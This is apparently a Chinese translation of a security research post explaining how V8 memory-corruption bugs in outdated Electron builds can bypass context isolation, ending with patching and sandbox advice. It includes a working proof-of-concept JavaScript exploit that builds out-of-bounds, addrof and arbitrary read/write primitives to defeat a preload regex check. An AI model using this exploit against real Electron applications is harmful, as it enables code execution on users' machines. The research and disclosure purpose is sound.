Mind the v8 patch gap Electron's Context Isolation is insecure
TL;DR
在我为 Discord RCE 视频编写脚本时,我再次审视了 Electron 安全性,注意到许多应用程序并不完全理解上下文隔离的工作原理以及上下文隔离中的潜在漏洞,尤其是当它们没有定期更新 Electron 时。我发现了一些应用程序,通过 V8 漏洞,实际上可以绕过上下文隔离并访问隔离上下文中的危险 API,这些 API 通常无法从主上下文访问。在这篇文章中,我想与安全研究人员和开发者分享一些关于他们可能在上下文隔离中发现的问题的见解。
Chrome 隔离:上下文隔离的工作原理
根据 Electron 文档,上下文隔离被定义为:
-
上下文隔离是一项功能,确保您的预加载脚本和 Electron 的内部逻辑在与您在 webContents 中加载的网站不同的上下文中运行。这对于安全目的非常重要,因为它有助于防止网站访问 Electron 内部或您的预加载脚本可以访问的强大 API。
-
这意味着您的预加载脚本可以访问的 window 对象实际上与网站可以访问的对象是不同的。例如,如果您在预加载脚本中设置 window.hello = 'wave' 并且启用了上下文隔离,则如果网站尝试访问它,window.hello 将是未定义的。
其架构如下所示。
示例
假设一个基本的 Electron 应用程序加载一个外部页面,https://ctf.s1r1us.ninja/jsbin.html。以下是我们如何使用上下文隔离来保护 Electron 的内部 API 或任何敏感功能免受未经授权的访问。
main.js
const { app, BrowserWindow } = require('electron');
const path = require('path');
function createWindow() {
const win = new BrowserWindow({
width: 800,
height: 600,
webPreferences: {
preload: path.join(__dirname, 'preload.js'),
contextcontextIsolation: true, // Enable context isolation
nodeIntegration: false // Disable Node.js integration in renderer
}
});
win.loadURL('https://ctf.s1r1us.ninja/jsbin.html');//[1]
}
app.whenReady().then(createWindow);
app.on('window-all-closed', () => {
if (process.platform !== 'darwin') app.quit();
});
app.on('activate', () => {
if (BrowserWindow.getAllWindows().length === 0) createWindow();
});
以下是每个设置的作用:
-
nodeIntegration: false 防止网页直接访问 Node.js API,从而降低系统访问的风险。 -
contextIsolation: true 确保 Electron 的内部逻辑和在预加载脚本中定义的任何 API 与外部网页保持隔离。
现在,假设我们想要给 https://ctf.s1r1us.ninja 访问一组受限模块的权限,但不影响安全性。我们可以通过在预加载脚本中定义一个 safeRequire 函数来实现这一点。该函数只允许访问特定名称的模块,确保 ctf.s1r1us.ninja 无法加载未经授权的模块或执行不安全的操作,例如 require('child_process').exec('calc');
。
preload.js
const { contextBridge } = require('electron');
function safeRequire(name) {
var regexp = /^only_allow_this_module_[a-z0-9_-]+$/;
if (!regexp.test(name)) { // only allow specific modules starting with a vlaue
throw new Error(`"${String(name)}" is not allowed`);
}
return require(name);
}
contextBridge.exposeInMainWorld('secureAPI', {
safeRequire: (name) => safeRequire(name)
});
这个预加载脚本使用 contextBridge.exposeInMainWorld 安全地将 safeRequire 暴露为渲染器中的 window.secureAPI.safeRequire。现在,网页只能加载名称以 only_allow_this_module_ 开头的模块,从而确保访问受到严格控制。
在 https://ctf.s1r1us.ninja/jsbin.html 中,我们可以安全地使用 window.secureAPI.safeRequire 仅加载允许的模块:
ctf.s1r1us.ninja/jsbin.html
<script>
document.getElementById('loadModuleButton').addEventListener('click', () => {
try {
const module = window.secureAPI.safeRequire('only_allow_this_module_safe-module');
console.log('Loaded module:', module);
} catch (error) {
console.error('Error loading module:', error.message);
}
});
</script>
Electron 如何实现上下文隔离?
Electron 利用 V8 隔离来创建每个渲染进程中的安全执行环境,防止网页内容(ctf.s1r1us.ninja)直接访问 Electron 或 Node.js API(在 preload.js 中)。这类似于扩展的工作方式以及 Cloudflare 的 Web Workers 的工作方式。
其实现的源代码可以在这里找到。https://github.com/electron/electron/blob/main/shell/renderer/api/electron_api_context_bridge.cc
最小版本如下所示(未剪辑版本),您可以编译并进行实验。
$ clang++ hello_world.cc -I. -Iinclude -Lout.gn/main.release/obj -lv8_monolith -o hello_world -std=c++17 -stdlib=libc++ -DV8_COMPRESS_POINTERS -target arm64-apple-macos11 -lpthread&& ./hello_world
#include <libplatform/libplatform.h>
#include <v8.h>
#include <iostream>
namespace my_bridge {
const int kMaxRecursion = 1000;
bool DeepFreeze(const v8::Local<v8::Object>& object,
v8::Local<v8::Context> context) {
[...]
}
return object->SetIntegrityLevel(context, v8::IntegrityLevel::kFrozen)
.ToChecked();
}
v8::MaybeLocal<v8::Value> PassValueToOtherContext(
v8::Local<v8::Context> source_context,
v8::Local<v8::Context> destination_context, v8::Local<v8::Value> value) { //PassValueToOtherContext
v8::Context::Scope destination_scope(destination_context);
[...]
if (value->IsObject()) {
v8::Local<v8::Object> obj = value.As<v8::Object>();
DeepFreeze(obj, destination_context);
return obj;
}
return v8::MaybeLocal<v8::Value>(value);
}
void ExposeInMainWorld(v8::Isolate* isolate,
v8::Local<v8::Context> main_context,
v8::Local<v8::Object> object, const std::string& name) {
v8::Context::Scope main_scope(main_context);
main_context->Global()
->Set(main_context,
v8::String::NewFromUtf8(isolate, name.c_str()).ToLocalChecked(),
object)
.Check();
}
void InitializeContextBridge(v8::Isolate* isolate) {
v8::HandleScope handle_scope(isolate);
auto main_context = v8::Context::New(isolate); // [1]
SetUpConsole(isolate, main_context);
v8::Global<v8::Context> main_context_global(isolate, main_context);
isolate->SetData(0, &main_context_global);
auto isolated_context = v8::Context::New(isolate); // [2]
SetUpConsole(isolate, isolated_context);
v8::Context::Scope isolated_scope(isolated_context);
isolated_context->Global()
->Set(isolated_context,
v8::String::NewFromUtf8(isolate, "ExposeInMainWorld") //[3] contextbridge.ExposeInMainWorld
.ToLocalChecked(),
v8::Function::New(
isolated_context,
[](const v8::FunctionCallbackInfo<v8::Value>& args) {
if (args.Length() < 2 || !args[0]->IsString() ||
!args[1]->IsObject()) {
args.GetIsolate()->ThrowException(
v8::String::NewFromUtf8(args.GetIsolate(),
"Invalid arguments")
.ToLocalChecked());
return;
}
v8::Isolate* isolate = args.GetIsolate();
v8::String::Utf8Value name(isolate, args[0]);
v8::Local<v8::Object> object = args[1].As<v8::Object>();
v8::Local<v8::Context> main_context =
v8::Local<v8::Context>::New(
isolate, *static_cast<v8::Global<v8::Context>*>(
isolate->GetData(0)));
my_bridge::ExposeInMainWorld(isolate, main_context, object,
*name);
})
.ToLocalChecked())
.Check();
const char* isolated_code = R"(
console.log("In Isolated Context:");
var regexp = /^only_allow_this_[a-z0-9_-]+$/;
%DebugPrint(regexp);
%DebugPrint(regexp.source);
function requireModule(name) {
if (regexp.test(name) ) {
return false;
}
return true;
}
const myObject = { name: "isolated_object", requireModule:requireModule}
ExposeInMainWorld("exposedObject", myObject); //[3]
%DebugPrint(myObject);
)"; //preload.js
v8::Local<v8::String> source =
v8::String::NewFromUtf8(isolate, isolated_code).ToLocalChecked();
v8::Local<v8::Script> script;
if (!v8::Script::Compile(isolated_context, source).ToLocal(&script)) {
std::cerr << "Failed to compile isolated context script." << std::endl;
return;
}
script->Run(isolated_context).ToLocalChecked();
const char* main_code = R"(
console.log("In Main Context:");
%DebugPrint(exposedObject);
console.log(exposedObject.requireModule('test'));
)"; //ctf.s1r1us.ninja
v8::Local<v8::String> main_source =
v8::String::NewFromUtf8(isolate, main_code).ToLocalChecked();
v8::Local<v8::Script> main_script;
if (!v8::Script::Compile(main_context, main_source).ToLocal(&main_script)) {
std::cerr << "Failed to compile main context script." << std::endl;
return;
}
main_script->Run(main_context).ToLocalChecked();
}
int main(int argc, char* argv[]) {
[...]
v8::V8::Initialize();
v8::Isolate::CreateParams create_params;
create_params.array_buffer_allocator =
v8::ArrayBuffer::Allocator::NewDefaultAllocator();
v8::Isolate* isolate = v8::Isolate::New(create_params);
{
v8::Isolate::Scope isolate_scope(isolate);
InitializeContextBridge(isolate);
}
[...]
}
Electron 定义了两个不同的 JavaScript 环境——主上下文[1]和隔离上下文——使用[2] V8 的 isolate 机制。隔离上下文无法直接访问主上下文中的对象或函数,从而保持安全边界。然而,定义了一个函数 (ExposeInMainWorld)[3],用于以受控方式将特定对象从隔离上下文暴露到主上下文,使用 PassValueToOtherContext[4]。
这里有几个重要的注意事项:
-
V8 isolates 作为自包含的 JavaScript 环境,确保每个 isolate 内的代码只能访问其自己的内存和资源。 -
通过将渲染器的 JavaScript 上下文与 Electron 内部的上下文分开,上下文隔离保护潜在危险代码不访问受限的 API。 -
尽管 isolates 创建了一个障碍,Electron 提供了一种安全的方式,通过 ContextBridge 在隔离的渲染器和主进程之间共享特定的 API。ContextBridge 允许通过以保持隔离的方式暴露 API,来仔细控制对选定函数和数据的访问,仅允许预定义的安全交互。
到目前为止一切都很好!但有什么问题呢?
尽管 V8 isolates 分离了 JavaScript 上下文以防止直接访问,但内存损坏漏洞——如常见的类型混淆,可能允许一个上下文访问或操纵另一个上下文的内存。这本质上可以用来绕过 Electron 的上下文隔离。这不仅在 Electron 中是一个已知风险(但似乎大多数应用程序并不知情),在使用 V8 isolates 进行多租户隔离的环境中,如 Cloudflare Workers 也是如此。Cloudflare 的威胁模型 文档 通过令人印象深刻的 24 小时补丁间隔来解决这一风险,确保 V8 漏洞迅速修复。Electron 也会在漏洞可用时立即修复 V8 漏洞。
然而,有一个问题:虽然 Electron 迅速发布新版本,但桌面应用程序往往在更新其 Electron 版本方面滞后。在我们之前的 Electrovolt 研究中,我们利用了许多应用程序中的这个补丁间隔,揭示了过时的 Electron 版本如何使流行的桌面应用程序面临风险。您可以在 这里 详细查看。
但情况仍然如此。只需打开任何 Electron 应用程序,进入开发者工具,运行 navigator.userAgent
。很可能,它正在运行一个更旧版本的 Chromium。
通过 V8 漏洞绕过上下文隔离
作为概念验证,我创建了 这段代码,使用旧的 V8 漏洞绕过上下文隔离。在这个例子中,我使用内存损坏漏洞将 var regexp = /^only_allow_this_module_[a-z0-9_-]+$/;
的 source
属性修改为任意值,从而绕过正则表达式检查,并启用对其他受限模块的访问。这个例子演示了如何利用 V8 中的内存损坏漏洞来规避上下文隔离并执行意外代码。
const char* isolated_code = R"(
console.log("In Isolated Context:");
var regexp = /^only_allow_this_module_[a-z0-9_-]+$/;
%DebugPrint(regexp);
%DebugPrint(regexp.source);
function requireModule(name) {
if (regexp.test(name) && name !== 'erlpack') {
return false;
}
return true;
}
const myObject = { name: "isolated_object", requireModule:requireModule}
ExposeInMainWorld("exposedObject", myObject);
%DebugPrint(myObject);
)";
v8::Local<v8::String> source =
v8::String::NewFromUtf8(isolate, isolated_code).ToLocalChecked();
v8::Local<v8::Script> script;
if (!v8::Script::Compile(isolated_context, source).ToLocal(&script)) {
std::cerr << "Failed to compile isolated context script." << std::endl;
return;
}
script->Run(isolated_context).ToLocalChecked();
const char* main_code = R"(
console.log("In Main Context:");
let conversion_buffer = new ArrayBuffer(8);
let float_view = new Float64Array(conversion_buffer);
let int_view = new BigUint64Array(conversion_buffer);
BigInt.prototype.hex = function() {
return '0x' + this.toString(16);
};
BigInt.prototype.i2f = function() {
int_view[0] = this;
return float_view[0];
}
Number.prototype.f2i = function() {
float_view[0] = this;
return int_view[0];
}
function gc() {
for(let i=0; i<((1024 * 1024)/0x10); i++) {
var a = new String();
}
}
function f(a) {
let x = -1;
if (a) x = 0xFFFFFFFF;
let oob_smi = new Array(Math.sign(0 - Math.max(0, x, -1)));
oob_smi.pop();
let oob_double = [3.14, 3.14];
let arr_addrof = [{}];
let aar_double = [2.17, 2.17];
let www_double = new Float64Array(0x20);
return [oob_smi, oob_double, arr_addrof, aar_double, www_double];
}
// gc();
console.log(11)
for (var i = 0; i < 0x10000; ++i) {
f(false);
}
let [oob_smi, oob_double, arr_addrof, aar_double, www_double] = f(true);
console.log("[+] oob_smi.length = " + oob_smi.length);
oob_smi[14] = 0x1234;
console.log("[+] oob_double.length = " + oob_double.length);
let primitive = {
addrof: (obj) => {
arr_addrof[0] = obj;
return (oob_double[8].f2i() >> 32n) - 1n;
},
half_aar64: (addr) => {
oob_double[15] = ((oob_double[15].f2i() & 0xffffffff00000000n)
| ((addr - 0x8n) | 1n)).i2f();
return aar_double[0].f2i();
},
half_aaw64: (addr, value) => {
oob_double[15] = ((oob_double[15].f2i() & 0xffffffff00000000n)
| ((addr - 0x8n) | 1n)).i2f();
aar_double[0] = value.i2f(); // Writes `value` at `addr
},
full_aaw: (addr, values) => {
let offset = -1;
for (let i = 0; i < 0x100; i++) {
if (oob_double[i].f2i() == 8n*0x20n
&& oob_double[i+1].f2i() == 0x20n) {
offset = i+2;
break;
}
}
if (offset == -1) {
console.log("[-] Bad luck!");
return;
} else {
console.log("[+] offset = " + offset);
}
oob_double[offset] = addr.i2f();
for (let i = 0; i < values.length; i++) {
console.log(i, www_double[i].f2i().hex(), values[i].f2i().hex());
www_double[i] = values[i];
}
}
};
exp_addrof = primitive.addrof(exposedObject);
console.log(exp_addrof.hex());
exp_r = primitive.half_aar64(exp_addrof)
console.log(111)
source_addrof = (exp_r &0xffffffffn) + 353016n;
console.log("[+] source_addrof : " +source_addrof.hex());
regexp_source = primitive.half_aar64(source_addrof+8n+4n);
console.log("[+] regexp_source_str: "+regexp_source.hex());
primitive.full_aaw(0x16bf081dee29n+8n, 0x64726f6373696444n);
regexp_source = primitive.half_aar64(source_addrof+8n+4n);
console.log("[+] after regexp_source_str: "+regexp_source.hex());
%DebugPrint(exposedObject);
console.log(exposedObject.requireModule('erlpack'));
)";
PassValueToOtherContext 供漏洞研究人员参考
这不是一个问题,而是一个指引,供漏洞研究人员寻找一些有趣的上下文隔离绕过,PassValueToOtherContext 是一个特别有趣的函数,它将对象从隔离上下文传递到主上下文。如果没有正确实现或遗漏了一些行为,这将允许泄露隔离上下文对象或函数到主上下文。几个示例 CVE:a. CVE-2023-29198 在隔离上下文中抛出的错误泄露到主上下文,允许绕过。差异 在这里 b. 通过主上下文中泄露的对象还有 3 个上下文隔离绕过 在这里
对 Electron 应用程序开发者的建议
及时更新 Electron:一旦有新版本可用,始终及时更新 Electron。这将最小化最近修补的 V8 和 Electron 中的漏洞所带来的风险。定期更新对于维护应用程序的安全性至关重要。
启用沙箱:使用 Electron 的沙箱功能进一步减少攻击面。通过隔离渲染进程,沙箱增加了一层额外的安全性,有助于遏制潜在的漏洞,即使在存在漏洞的情况下也是如此。
原文始发于微信公众号(securitainment):注意 v8 补丁漏洞,Electron 的上下文隔离不安全
- 左青龙
- 微信扫一扫
- 右白虎
- 微信扫一扫
评论